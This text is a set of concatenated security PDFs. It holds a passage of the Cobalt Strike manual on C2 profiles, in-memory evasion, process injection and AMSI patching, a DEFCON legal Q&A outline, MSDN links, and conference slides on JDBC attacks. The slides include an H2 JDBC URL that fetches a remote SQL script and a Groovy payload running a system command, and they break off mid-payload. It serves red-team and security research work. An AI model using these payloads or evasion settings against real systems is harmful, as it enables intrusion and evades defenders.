the client’s request or server’s response. This header statement adds an indicator to put network security monitoring teams at ease. http-get { server { header "X-Not-Malware" "I promise!"; The Profile Interpreter will Interpret your header and parameter statements In order. That said, the WinINet library (client) and Cobalt Strike web server have the final say about where in the transaction these indicators will appear. Options You may configure Beacon’s defaults through the profile file. There are two types of options: global and local options. The global options change a global Beacon setting. Local options are transaction specific. You must set local options in the right context. Use the set statement to set an option. set "sleeptime" "1000"; Here are a few options: Option Context Default Value Changes data_jitter 0 Append random-length string (up to data_jitter value) to http-get and http-post server output. dns_idle 0.0.0.0 IP address used to indicate no tasks are available to DNS Beacon; Mask for other DNS C2 values dns_max_txt 252 Maximum length of DNS TXT responses for tasks dns_sleep 0 Force a sleep prior to each individual DNS request. (in milliseconds) dns_stager_prepend Prepend text to payload stage delivered to DNS TXT record stager dns_stager_subhost .stage.123456. Subdomain used by DNS TXT www.cobaltstrike.com/ / 73/ record stager. dns_ttl 1 TTL for DNS replies headers_remove Comma-separated list of HTTP client headers to remove from Beacon C2 host_stage true Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers. jitter 0 Default jitter factor (0-99%) maxdns 255 Maximum length of hostname when uploading data over DNS (0-255) pipename msagent_## Default name of pipe to use for SMB Beacon’s peer-to- peer communication. Each # is replaced with a random hex value. pipename_stager status_## Name of pipe to use for SMB Beacon’s named pipe stager. Each # is replaced with a random hex value. sample_name My Profile The name of this profile (used in the Indicators of Compromise report) sleeptime 60000 Default sleep time (in milliseconds) smb_frame_header Prepend header to SMB Beacon messages ssh_banner Cobalt Strike 4.2 SSH client banner ssh_pipename postex_ssh_#### Name of pipe for SSH sessions. Each # is replaced with a random hex value. tcp_frame_header Prepend header to TCP Beacon messages tcp_port 4444 Default TCP Beacon listen port uri http-get, http-post [required option] Transaction URI uri_x86 http-stager x86 payload stage URI uri_x64 http-stager x64 payload stage URI useragent Internet Explorer (Random) Default User-Agent for HTTP comms. verb http-get, http-post GET, POST HTTP Verb to use for transaction www.cobaltstrike.com/ / 74/ With the uri option, you may specify multiple URIs as a space separated string. Cobalt Strike’s web server will bind all of these URIs and it will assign one of these URIs to each Beacon host when the Beacon stage is built. Even though the useragent option exists; you may use the header statement to override this option. 11.4 HTTP Staging Beacon is a staged payload. This means the payload is downloaded by a stager and injected into memory. Your http-get and http-post indicators will not take effect until Beacon is in memory on your target. Malleable C2’s http-stager block customizes the HTTP staging process. http-stager { set uri_x86 "/get32.gif"; set uri_x64 "/get64.gif"; The uri_x86 option sets the URI to download the x86 payload stage. The uri_x64 option sets the URI to download the x64 payload stage. client { parameter "id" "1234"; header "Cookie" "SomeValue"; } The client keyword under the context of http-stager defines the client side of the HTTP transaction. Use the parameter keyword to add a parameter to the URI. Use the header keyword to add a header to the stager’s HTTP GET request. server { header "Content-Type" "image/gif"; output { prepend "GIF89a"; print; } } } The server keyword under the context of http-stager defines the server side of the HTTP transaction. The header keyword adds a server header to the server’s response. The output keyword under the server context of http-stager is a data transform to change the payload stage. This transform may only prepend and append strings to the stage. Use the print termination statement to close this output block. 11.5 A Beacon HTTP Transaction Walk-through To put all of this together, it helps to know what a Beacon transaction looks like and which data is sent with each request. www.cobaltstrike.com/ / 75/ A transaction starts when a Beacon makes an HTTP GET request to Cobalt Strike’s web server. At this time, Beacon must send metadata that contains information about the compromised system. Tip:>session>metadata>is>an>encrypted>blob>of>data.>Without>encoding,>it>is>not>suitable> for>transport>in>a>header>or>URI>parameter.>Always>apply>a>base64,>base64url,>or> netbios>statement>to>encode>your>metadata.> Cobalt Strike’s web server responds to this HTTP GET with tasks that the Beacon must execute. These tasks are, initially, sent as one encrypted binary blob. You may transform this information with the output keyword under the server context of http-get. As Beacon executes its tasks, it accumulates output. After all tasks are complete, Beacon checks if there is output to send. If there is no output, Beacon goes to sleep. If there is output, Beacon initiates an HTTP POST transaction. The HTTP POST request must contain a session id in a URI parameter or header. Cobalt Strike uses this information to associate the output with the right session. The posted content is, initially, an encrypted binary blob. You may transform this information with the output keyword under the client context of http-post. Cobalt Strike’s web server may respond to an HTTP POST with anything it likes. Beacon does not consume or use this information. You may specify the output of HTTP POST with the output block under the server context of http-post. Note:>while>http-get>uses>GET>by>default>and>http-post>uses>POST>by>default,>you’re>not> stuck>with>these>options.>Use>the>verb>option>to>change>these>defaults.>There’s>a>lot>of> flexibility>here.> This table summarizes these keywords and the data they send: Request Component Block Data http-get client metadata Session metadata http-get server output Beacon’s tasks http-post client id Session ID http-post client output Beacon’s responses http-post server output Empty http-stager server output Encoded payload stage www.cobaltstrike.com/ / 76/ 11.6 HTTP Server Configuration The http-config block has influence over all HTTP responses served by Cobalt Strike’s web server. Here, you may specify additional HTTP headers and the HTTP header order. http-config { set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; header "Server" "Apache"; header "Keep-Alive" "timeout=5, max=100"; header "Connection" "Keep-Alive”; set trust_x_forwarded_for "true"; } The header keyword adds a header value to each of Cobalt Strike’s HTTP responses. If the header value is already defined in a response, this value is ignored. The set headers option specifies the order these HTTP headers are delivered in an HTTP response. Any headers not in this list are added to the end. The set trust_x_forwarded_for option decides if Cobalt Strike uses the X-Forwarded-For HTTP header to determine the remote address of a request. Use this option if your Cobalt Strike server is behind an HTTP redirector. 11.7 Self-signed SSL Certificates with SSL Beacon The HTTPS Beacon uses the HTTP Beacon’s indicators in its communication. Malleable C2 profiles may also specify parameters for the Beacon C2 server’s self-signed SSL certificate. This is useful if you want to replicate an actor with unique indicators in their SSL certificate: https-certificate { set CN "bobsmalware.com"; set O "Bob’s Malware"; } The certificate parameters under your profile’s control are: Option Example Description C US Country CN beacon.cobaltstrike.com Common Name; Your callback domain L Washington Locality O Strategic Cyber LLC Organization Name OU Certificate Department Organizational Unit Name ST DC State or Province validity 365 Number of days certificate is valid for www.cobaltstrike.com/ / 77/ 11.8 Valid SSL Certificates with SSL Beacon You have the option to use a Valid SSL certificate with Beacon. Use a Malleable C2 profile to specify a Java Keystore file and a password for the keystore. This keystore must contain your certificate’s private key, the root certificate, any intermediate certificates, and the domain certificate provided by your SSL certificate vendor. Cobalt Strike expects to find the Java Keystore file in the same folder as your Malleable C2 profile. https-certificate { set keystore "domain.store"; set password "mypassword"; } The parameters to use a valid SSL certificate are: Option Example Description keystore domain.store Java Keystore file with certificate information password mypassword The password to your Java Keystore Here are the steps to create a Valid SSL certificate for use with Cobalt Strike’s Beacon: 1. Use the keytool program to create a Java Keystore file. This program will ask “What is your first and last name?” Make sure you answer with the fully qualified domain name to your Beacon server. Also, make sure you take note of the keystore password. You will need it later. $ keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store 2. Use keytool to generate a Certificate Signing Request (CSR). You will submit this file to your SSL certificate vendor. They will verify that you are who you are and issue a certificate. Some vendors are easier and cheaper to deal with than others. $ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store 3. Import the Root and any Intermediate Certificates that your SSL vendor provides. $ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore domain.store 4. Finally, you must install your Domain Certificate. $ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store And, that’s it. You now have a Java Keystore file that’s ready to use with Cobalt Strike’s Beacon. www.cobaltstrike.com/ / 78/ 11.9 Profile Variants Malleable C2 profile files, by default, contain one profile. It’s possible to pack variations of the current profile by specifying variant blocks for http-get, http-post, http-stager, and https- certificate. A variant block is specified as [block name] “variant name” { … }. Here’s a variant http-get block named “My Variant”: http-get "My Variant" { client { parameter "bar" "blah"; A variant block creates a copy of the current profile with the specified variant blocks replacing the default blocks in the profile itself. Each unique variant name creates a new variant profile. You may populate a profile with as many variant names as you like. Variants are selectable when configuring an HTTP or HTTPS Beacon listener. Variants allow each HTTP or HTTPS Beacon listener tied to a single team server to have network IOCs that differ from eachother. 11.10 Code Signing Certificate Attacks -> Packages -> Windows Executable and Windows Executable (S) give you the option to sign an executable or DLL file. To use this option, you must specify a Java Keystore file with your code signing certificate and private key. Cobalt Strike expects to find the Java Keystore file in the same folder as your Malleable C2 profile. code-signer { set keystore "keystore.jks"; set password "password"; set alias "server"; } The code signing certificate settings are: Option Example Description alias server The keystore’s alias for this certificate digest_algorithm SHA256 The digest algorithm keystore keystore.jks Java Keystore file with certificate information password mypassword The password to your Java Keystore timestamp false Timestamp the file using a third-party service timestamp_url http://timestamp.digicert.com URL of the timestamp service www.cobaltstrike.com/ / 79/ 11.11 Which is more dangerous, Malleable C2 or a swimming pool? The answer? Both. Malleable C2 gives you a new level of control over your network and host indicators. With this power also comes responsibility. Malleable C2 is an opportunity to make a lot of mistakes too. Here are a few things to think about when you customize your profiles: 1. Each Cobalt Strike instance uses one profile at a time. If you change a profile or load a new profile, previously deployed Beacons cannot communicate with you. 2. Always stay aware of the state of your data and what a protocol will allow when you develop a data transform. For example, if you base64 encode metadata and store it in a URI parameter— it’s not going to work. Why? Some base64 characters (+, =, and /) have special meaning in a URL. The c2lint tool and Profile Compiler will not detect these types of problems. 3. Always test your profiles, even after small changes. If Beacon can’t communicate with you, it’s probably an issue with your profile. Edit it and try again. 4. Trust the c2lint tool. This tool goes above and beyond the profile compiler. The checks are grounded in how this technology is implemented. If a c2lint check fails, it means there is a real problem with your profile. www.cobaltstrike.com/ / 80/ 12. Malleable PE, Process Injection, and Post Exploitation 12.1 Overview Malleable C2 profiles are more than communication indicators. Malleable C2 profiles also control Beacon’s in-memory characteristics, determine how Beacon does process injection, and influence Cobalt Strike’s post-exploitation jobs too. This chapter documents these extensions to the Malleable C2 language. 12.2 PE and Memory Indicators The stage block in Malleable C2 profiles controls how Beacon is loaded into memory and edit the content of the Beacon DLL. stage { set userwx "false"; set compile_time "14 Jul 2009 8:14:00"; set image_size_x86 "512000"; set image_size_x64 "512000"; set obfuscate "true"; transform-x86 { prepend "\x90\x90"; strrep "ReflectiveLoader" "DoLegitStuff"; } transform-x64 { # transform the x64 rDLL stage } stringw "I am not Beacon"; } The transform-x86 and transform-x64 blocks pad and transform Beacon’s Reflective DLL stage. These blocks support three commands: prepend, append, and strrep. The prepend command inserts a string before Beacon’s Reflective DLL. The append command adds a string after the Beacon Reflective DLL. Make sure that prepended data is valid code for the stage’s architecture (x86, x64). The c2lint program does not have a check for this. The strrep command replaces a string within Beacon’s Reflective DLL. The stage block accepts commands that add strings to the .rdata section of the Beacon DLL. The string command adds a zero-terminated string. The stringw command adds a wide (UTF-16LE encoded) string. The data command adds your string as-is. www.cobaltstrike.com/ / 81/ The stage block accepts several options that control the Beacon DLL content and provide hints to change the behavior of Beacon’s Reflective Loader: Option Example Description allocator HeapAlloc Set how Beacon's Reflective Loader allocates memory for the agent. Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc. cleanup false Ask Beacon to attempt to free memory associated with the Reflective DLL package that initialized it. magic_mz_x86 MZRE Override the first bytes (MZ header included) of Beacon's Reflective DLL. Valid x86 instructions are required. Follow instructions that change CPU state with instructions that undo the change. magic_mz_x64 MZAR Same as magic_mz_x86; affects x64 DLL magic_pe PE Override the PE character marker used by Beacon's Reflective Loader with another value. module_x86 xpsservices.dll Ask the x86 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc. module_x64 xpsservices.dll Same as module_x86; affects x64 loader obfuscate false Obfuscate the Reflective DLL’s import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers. sleep_mask false Obfuscate Beacon, in-memory, prior to sleeping smartinject false Use embedded function pointer hints to bootstrap Beacon agent without walking kernel32 EAT stomppe true Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload userwx false Ask ReflectiveLoader to use or avoid RWX permissions for Beacon DLL in memory Cloning PE Headers The stage block has several options that change the characteristics of your Beacon Reflective DLL to look like something else in memory. These are meant to create indicators that support analysis exercises and threat emulation scenarios. Option Example Description checksum 0 The CheckSum value in Beacon’s PE header compile_time 14 July 2009 8:14:00 The build time in Beacon’s PE header entry_point 92145 The EntryPoint value in Beacon’s PE header image_size_x64 512000 SizeOfImage value in x64 Beacon’s PE header www.cobaltstrike.com/ / 82/ image_size_x86 512000 SizeOfImage value in x86 Beacon’s PE header name beacon.x64.dll The Exported name of the Beacon DLL rich_header Meta-information inserted by the compiler Cobalt Strike’s Linux package includes a tool, peclone, to extract headers from a DLL and present them as a ready-to-use stage block: ./peclone [/path/to/sample.dll] In-memory Evasion and Obfuscation Use the stage block’s prepend command to defeat analysis that scans the first few bytes of a memory segment to look for signs of an injected DLL. If tool-specific strings are used to detect your agents, change them with the strrep command. If strrep isn’t enough, set sleep_mask to true. This directs Beacon to obfuscate itself in-memory before it goes to sleep. After sleeping, Beacon will de-obfuscate itself to request and process tasks. The SMB and TCP Beacons will obfuscate themselves while waiting for a new connection or waiting for data from their parent session. Decide how much you want to look like a DLL in memory. If you want to allow easy detection, set stomppe to false. If you would like to lightly obfuscate your Beacon DLL in memory, set stomppe to true. If you’d like to up the challenge, set obfuscate to true. This option will take many steps to obfuscate your Beacon stage and the final state of the DLL in memory. One way to find memory injected DLLs is to look for the MZ and PE magic bytes at their expected locations relative to eachother. These values are not usually obfuscated as the reflective loading process depends on them. The obfuscate option does not affect these values. Set magic_pe to two letters or bytes that mark the beginning of the PE header. Set magic_mz_x86 to change these magic bytes in the x86 Beacon DLL. Set magic_mz_x64 for the x64 Beacon DLL. Follow instructions that change CPU state with instructions that undo the change. For example, MZ is the easily recognizable header sequence, but it's also valid x86 and x64 instructions. The follow-on RE (x86) and AR (x64) are valid x86 and x64 instructions that undo the MZ changes. These hints will change the magic values in Beacon's Reflective DLL package and make the reflective loading process use the new values. Figure 46. Disassembly of default module_mz_x86 value www.cobaltstrike.com/ / 83/ Set userwx to false to ask Beacon’s loader to avoid RWX permissions. Memory segments with these permissions will attract extra attention from analysts and security products. By default, Beacon’s loader allocates memory with VirtualAlloc. Use the allocator option to change this. The HeapAlloc option allocates heap memory for Beacon with RWX permissions. The MapViewOfFile allocator allocates memory for Beacon by creating an anonymous memory mapped file region in the current process. Module stomping is an alternative to these options and a way to have Beacon execute from coveted image memory. Set module_x86 to a DLL that is about twice as large as the Beacon payload itself. Beacon’s x86 loader will load the specified DLL, find its location in memory, and overwrite it. This is a way to situate Beacon in memory that Windows associates with a file on disk. It’s important that the DLL you choose is not needed by the applications you intend to reside in. The module_x64 option is the same story, but it affects the x64 Beacon. If you’re worried about the Beacon stage that initializes the Beacon DLL in memory, set cleanup to true. This option will free the memory associated with the Beacon stage when it’s no longer needed. 12.3 Process Injection The process-inject block in Malleable C2 profiles shapes injected content and controls process injection behavior for the Beacon payload. process-inject { # set how memory is allocated in a remote process set allocator "VirtualAllocEx"; # shape the memory characteristics and content set min_alloc "16384"; set startrwx "true"; set userwx "false"; transform-x86 { prepend "\x90\x90"; } transform-x64 { # transform x64 injected content } # determine how to execute the injected code execute { CreateThread "ntdll.dll!RtlUserThreadStart"; SetThreadContext; RtlCreateUserThread; www.cobaltstrike.com/ / 84/ } } The process-inject block accepts several options that control the process injection process in Beacon: Option Example Description allocator VirtualAllocEx The preferred method to allocate memory in the remote process. Specify VirtualAllocEx or NtMapViewOfSection. The NtMapViewOfSection option is for same-architecture injection only. VirtualAllocEx is always used for cross-arch memory allocations. min_alloc 4096 Minimum amount of memory to request for injected content startrwx false Use RWX as initial permissions for injected content. Alternative is RW. userwx false Use RWX as final permissions for injected content. Alternative is RX. The transform-x86 and transform-x64 blocks pad content injected by Beacon. These blocks support two commands: prepend and append. The prepend command inserts a string before the injected content. The append command adds a string after the injected content. Make sure that prepended data is valid code for the injected content’s architecture (x86, x64). The c2lint program does not have a check for this. The execute block controls the methods Beacon will use when it needs to inject code into a process. Beacon examines each option in the execute block, determines if the option is usable for the current context, tries the method when it is usable, and moves on to the next option if code execution did not happen. The execute options include: Option x86 -> x64 x64 -> x86 Notes CreateThread Current process only CreateRemoteThread Yes No cross-session NtQueueApcThread NtQueueApcThread-s This is the “Early Bird” injection technique. Suspended processes (e.g., post-ex jobs) only. RtlCreateUserThread Yes Yes Risky on XP-era targets; uses RWX shellcode for x86 -> x64 injection. SetThreadContext Yes Suspended processes (e.g., post-ex jobs) only. The CreateThread and CreateRemoteThread options have variants that spawn a suspended thread with the address of another function, update the suspended thread to execute the injected code, and resume that thread. Use [function] “module!function+0x##” to specify the start address to spoof. For remote processes, ntdll and kernel32 are the only recommended modules to pull www.cobaltstrike.com/ / 85/ from. The optional 0x## part is an offset added to the start address. These variants work x86 -> x86 and x64 -> x64 only. The execute options you choose must cover a variety of corner cases. These corner cases include self injection, injection into suspended temporary processes, cross-session remote process injection, x86 -> x64 injection, x64 -> x86 injection, and injection with or without passing an argument. The c2lint tool will warn you about contexts that your execute block does not cover. 12.4 Post Exploitation Jobs Larger Cobalt Strike post-exploitation features (e.g., screenshot, keylogger, hashdump, etc.) are implemented as Windows DLLs. To execute these features, Cobalt Strike spawns a temporary process, and injects the feature into it. The process-inject block controls the process injection step. The post-ex block controls the content and behaviors specific to Cobalt Strike’s post- exploitation features. post-ex { # control the temporary process we spawn to set spawnto_x86 "%windir%\\syswow64\\rundll32.exe"; set spawnto_x64 "%windir%\\sysnative\\rundll32.exe"; # change the permissions and content of our post-ex DLLs set obfuscate "true"; # change our post-ex output named pipe names... set pipename "evil_####, stuff\\not_##_ev#l"; # pass key function pointers from Beacon to its child jobs set smartinject "true"; # disable AMSI in powerpick, execute-assembly, and psinject set amsi_disable "true"; } The spawnto_x86 and spawnto_x64 options control the default temporary process Beacon will spawn for its post-exploitation features. Here are a few tips for these values: 1. Always specify the full path to the program you want Beacon to spawn 2. Environment variables (e.g., %windir%) are OK within these paths. 3. Do not specify %windir%\system32 or c:\windows\system32 directly. Always use syswow64 (x86) and sysnative (x64). Beacon will adjust these values to system32 where it’s necessary. 4. For an x86 spawnto value, you must specify an x86 program. For an x64 spawnto value, you must specify an x64 program. www.cobaltstrike.com/ / 86/ 5. The paths you specify (minus the automatic syswow64/sysnative adjustment) must exist from both an x64 (native) and x86 (wow64) view of the file system. The obfuscate option scrambles the content of the post-ex DLLs and settles the post-ex capability into memory in a more OPSEC-safe way. It’s very similar to the obfuscate and userwx options available for Beacon via the stage block. Some long-running post-ex DLLs will mask and unmask their string table, as needed, when this option is set. Use pipename to change the named pipe names used, by post-ex DLLs, to send output back to Beacon. This option accepts a comma-separated list of pipenames. Cobalt Strike will select a random pipe name from this option when it sets up a post-exploitation job. Each # in the pipename is replaced with a valid hex character as well. The smartinject option directs Beacon to embed key function pointers, like GetProcAddress and LoadLibrary, into its same-architecture post-ex DLLs. This allows post-ex DLLs to bootstrap themselves in a new process without shellcode-like behavior that is detected and mitigated by watching memory accesses to the PEB and kernel32.dll. The thread_hint option allows multi-threaded post-ex DLLs to spawn threads with a spoofed start address. Specify the thread hint as “module!function+0x##” to specify the start address to spoof. The optional 0x## part is an offset added to the start address. The amsi_disable option directs powerpick, execute-assembly, and psinject to patch the AmsiScanBuffer function before loading .NET or PowerShell code. This limits the Antimalware Scan Interface visibility into these capabilities. Set the keylogger option to configure Cobalt Strike's keystroke logger. The GetAsyncKeyState option (default) uses the GetAsyncKeyState API to observe keystrokes. The SetWindowsHookEx option uses SetWindowsHookEx to observe keystrokes. www.cobaltstrike.com/ / 87/ 13. Reporting and Logging 13.1 Logging Cobalt Strike logs all of its activity on the team server. These logs are located in the logs/ folder in the same directory you started your team server from. All Beacon activity is logged here with a date and timestamp. 13.2 Reports Cobalt Strike has several report options to help make sense of your data and convey a story to your clients. You may configure the title, description, and hosts displayed in most reports. Figure 47. Export Report Dialog Go to the Reporting menu and choose one of the reports to generate. Cobalt Strike will export your report as an MS Word or PDF document. www.cobaltstrike.com/ / 88/ Activity Report The activity report provides a timeline of red team activities. Each of your post-exploitation activities are documented here. Figure 48. The Activity Report Hosts Report The hosts report summarizes information collected by Cobalt Strike on a host-by-host basis. Services, credentials, and sessions are listed here as well. www.cobaltstrike.com/ / 89/ Indicators of Compromise This report resembles an Indicators of Compromise appendix from a threat intelligence report. Content includes a generated analysis of your Malleable C2 profile, which domain you used, and MD5 hashes for files you’ve uploaded. Figure 49. Indicators of Compromise Report www.cobaltstrike.com/ / 90/ Sessions Report This report documents indicators and activity on a session-by-session basis. This report includes: the communication path each session used to reach you, MD5 hashes of files put on disk during that session, miscellaneous indicators (e.g., service names), and a timeline of post-exploitation activity. This report is a fantastic tool to help a network defense team understand all of red’s activity and match their sensors to your activity. Figure 50. The Sessions Report Social Engineering The social engineering report documents each round of spear phishing emails, who clicked, and what was collected from each user that clicked. This report also shows applications discovered by the system profiler. Tactics, Techniques, and Procedures This report maps your Cobalt Strike actions to tactics within MITRE’s ATT&CK Matrix. The ATT&CK matrix describes each tactic with detection and mitigation strategies. You may learn more about MITRE’s ATT&CK at: https://attack.mitre.org/ www.cobaltstrike.com/ / 91/ 13.3 Custom Logo in Reports Cobalt Strike reports display a Cobalt Strike logo at the top of the first page. You may replace this with an image of your choosing. Go to Cobalt Strike -> Preferences -> Reporting to set this Your custom image should be 1192x257px set to 300dpi. The 300dpi setting is necessary for the reporting engine to render your image at the right size. You may also set an accent color. This accent color is the color of the thick line below your image on the first page of the report. Links inside reports use the accent color too. Figure 51. A Customized Report 13.4 Custom Reports Cobalt Strike 3.0 supports custom reports. These scripts are defined in a subset of the Aggressor Script language. Consulting the Aggressor Script documentation to learn more about this feature: • https://www.cobaltstrike.com/aggressor-script/ www.cobaltstrike.com/ / 92/ Appendix A. Keyboard Shortcuts The following keyboard shortcuts are available. Shortcut Where Action Ctrl+A console select all text Ctrl+F console open find tool to search the console Ctrl+K console clear the console Ctrl+Minus console decrease font size Ctrl+Plus console increase font size Ctrl+0 console reset font size Down console show next command in command history Escape console clear edit box Page Down console scroll down half a screen Page Up console scroll up half a screen Tab console complete the current command (in some console types) Up console show previous command in command history Ctrl+B everywhere send current tab to the bottom of the Cobalt Strike window Ctrl+D everywhere close current tab Ctrl+Shift+D everywhere close all tabs except the current tab Ctrl+E everywhere empty the bottom of the Cobalt Strike window (undo Ctrl+B) Ctrl+I everywhere choose a session to interact with Ctrl+Left everywhere switch to previous tab Ctrl+O everywhere open preferences Ctrl+R everywhere Rename the current tab Ctrl+Right everywhere switch to next tab Ctrl+T everywhere take screenshot of current tab (result is sent to team server) Ctrl+Shift+T everywhere take screenshot of Cobalt Strike (result is sent to team server) Ctrl+W everywhere open current tab in its own window Ctrl+C graph arrange sessions in a circle Ctrl+H graph arrange sessions in a hierarchy Ctrl+Minus graph zoom out Ctrl+P graph save a picture of the graph display Ctrl+Plus graph zoom in Ctrl+S graph arrange sessions in a stack Ctrl+0 graph reset to default zoom-level Ctrl+F tables open find tool to filter table content Ctrl+A targets select all hosts Escape targets clear selected hosts
pdf
Top Ten Legal Questions* DEFCON 13 Jennifer S. Granick 1. Is it legal to sniff wireless networks? 2. What are the state and federal laws regulating access to computer systems? 3. How did the USA PATRIOT Act change computer crime investigation and prosecution? 4. Under what circumstances can the government collect information about me? 5. Does encryption protect me from surveillance, how can I protect my passwords and can the law compel me to turn passwords over? 6. What is the statute of limitations on computer crime cases? 7. When are computer logs and other digitally generated records admissible as evidence? 8. What’s the future of copyright laws like the DMCA and surveillance laws like the USA PATRIOT Act? 9. Is using encryption evidence of criminal intent? 10. How do I know when I need to talk to a lawyer? *Questions subject to change, but feel free to ask your questions during or following the talk. This talk is intended for informational purposes only. The talk is not intended to be, nor should it be interpreted as, legal advice or opinion. Neither the talk nor any information conveyed during the question and answer period creates an attorney-client relationship or any other relationship with the speaker. Contact information: Executive Director, Center for Internet and Society Stanford Law School jennifer @ law.stanford.edu http://cyberlaw.stanford.edu/
pdf
Code: http://msdn.microsoft.com/library/default.asp?url=/library/en- us/winui/winui/windowsuserinterface/windowing/windows/windowreference/windowfun ctions/winmain.asp http://msdn.microsoft.com/library/default.asp?url=/library/en- us/dllproc/base/createprocess.asp http://msdn.microsoft.com/library/default.asp?url=/library/en- us/dllproc/base/window_stations.asp http://msdn.microsoft.com/library/default.asp?url=/library/en- us/dllproc/base/desktops.asp http://msdn.microsoft.com/library/default.asp?url=/library/en- us/dllproc/base/createprocessasuser.asp http://msdn.microsoft.com/library/default.asp?url=/library/en- us/secauthz/security/impersonateloggedonuser.asp Defense In Depth Microsoft® Official Course 2820A Implementing and Administering Security in a Microsoft® Windows® 2000 Network ISBN 0-7580-7376-3 Writing files to NTFS http://www.microsoft.com/licensing/programs/sa/support/winpe.mspx http://sourceforge.net/projects/linux-ntfs/ http://www.nu2.nu/pebuilder/ Microsoft end user license agreement: C:\windows\system32\EULA.txt
pdf
Make JDBC Attack Brilliant Again Xu Yuanzhen( @pyn3rd) Chen Hongkun( @Litch1) 1.The derivation of JDBC attacking 2.In-depth analysis of occurred implementations 3.Set fire on JDBC of diverse applications Agenda Agenda 1.The derivation of JDBC attacking 2.In-depth analysis of occurred implementations 3.Set fire on JDBC of diverse applications Agenda Agenda Java Database Connectivity JDBCMysqlImpl MySQL JDBC JDBCOracleImpl JDBCSQLServerImpl JDBCDB2mpl Oracle MsSQL DB2 JDBC Driver Standard Interface Callback Java Application Not Recommended Unportable Callback set evil JDBC URL establish JDBC connection execute payload with JDBC driver Controllable JDBC URL Class.forName(" com.mysql.cj.jdbc.Driver"); String url = "jdbc:mysql://localhost:3306/demo" Connection conn = DriverManager.getConnection(url) 1.The derivation of JDBC attacking 2.In-depth analysis of occurred implementations 3.Set fire on JDBC of diverse applications Agenda Agenda MySQL client arbitrary file reading vulnerability • Affect many clients including JDBC driver • LOAD DATA INFILE statement establish JDBC connection greeting packet query packet file transfer packet Server Client MySQL JDBC client deserialization vulnerability establish JDBC connection read evil object from server deserialize evil object • Affected MySQL JDBC driver need to support specific properties • gadgets are necessary Server Client MySQL Connector/J – CVE-2017-3523 MySQL Connector/J offers features to support for automatic serialization and deserialization of Java objects, to make it easy to store arbitrary objects in the database • The flag "useServerPrepStmts" is set true to make MySQL Connector/J use server-side prepared statements • The application is reading from a column having type BLOB, or the similar TINYBLOB, MEDIUMBLOB or LONGBLOB • The application is reading from this column using .getString() or one of the functions reading numeric values (which are first read as strings and then parsed as numbers). case Types.LONGVARBINARY: if (!field.isBlob()) { return extractStringFromNativeColumn(columnIndex, mysqlType); } else if (!field.isBinary()) { return extractStringFromNativeColumn(columnIndex, mysqlType); } else { byte[] data = getBytes(columnIndex); Object obj = data; if ((data != null) && (data.length >= 2)) { if ((data[0] == -84) && (data[1] == -19)) { // Serialized object? try { ByteArrayInputStream bytesIn = new ByteArrayInputStream(data); ObjectInputStream objIn = new ObjectInputStream(bytesIn); obj = objIn.readObject(); objIn.close(); bytesIn.close(); } return obj.toString(); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Properties Properties queryInterceptors Versions 8.x 6.x statementInterceptors com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor >=5.1.11 <=5.1.10 statementInterceptors com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor Values statementInterceptors public class CreateJDBCDataSource extends CreatePageFLowController { private static final Long serialVersionUID = 1L; private static Log LOG = LogFactory.getLog(CreateJDBCDataSource.class); protected CreateJDBCDataSourceForm _createJDBCDataSourceForm = null; @Action(useFormBean = "createJDBCDataSourceForm", forwards = {@Forward(name="success", path="start.do")}) public Forward begin(CreateJDBCDataSourceForm form) { UsageRecorder.note("User has launched the <CreateJDBCDataSource> assistant"); if (!isNested()) this._createJDBCDataSourceForm = form = new CreateJDBCDataSourceForm( ); form.setName(getUniqueName("jdbc.datasources.createidbcdatasource.name. seed")); form.setDatasourceType("GENERIC") form.setCSRFToken(CSRFUtils.getSecret(getRequest())); try { ArrayListsLabelvalueBean > databaseTypes = getDatabaseTypes(); form.setDatabaseTypes(databaseTypes); for (Iterator<LabelValueBean> iter = databaseTypes.iterator(); iter.hasNext(); ) { LabelvalueBean lvb = iter.next(); if (lvb.getvalue().equals("Oracle")) { form.setSelectedDatabaseType(lvb.getValue()); break } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Weblogic 0day - CVE-2020-2934 Attack other databases with JDBC drivers spring.h2.console.enabled=true spring.h2.console.settings.web-allow-others=true Spring Boot H2 console case study jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql' Construct payload with Groovy AST transformations Why we use command "RUNSCRIPT"? INIT = RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql' single line SQL if (init != null) { try { CommandInterface command = session.prepareCommand(init, Integer.MAX_VALUE); command.executeUpdate(null); } catch (DbException e) { if (!ignoreUnknownSetting) { session.close(); throw e; } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 In-depth analysis of source code CREATE ALIAS RUNCMD AS $$<JAVA METHOD>$$; CALL RUNCMD(command) org.h2.util.SourceCompiler javax.tools.JavaCompiler#getTask javax.script.Compilable#compile groovy.lang.GroovyCodeSource#parseClass Java Source Code JavaScript Source Code Groovy Source Code multiple lines SQL Class<?> compiledClass = compiled.get(packageAndClassName); if (compiledClass != null) { return compiledClass; } String source = sources.get(packageAndClassName); if (isGroovySource(source)) { Class<?> clazz = GroovyCompiler.parseClass(source, packageAndClassName); compiled.put(packageAndClassName, clazz); return clazz; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Groovy Source Code public static void main(String[] args) throws ClassNotFoundException, SQLException { String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x"; String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS 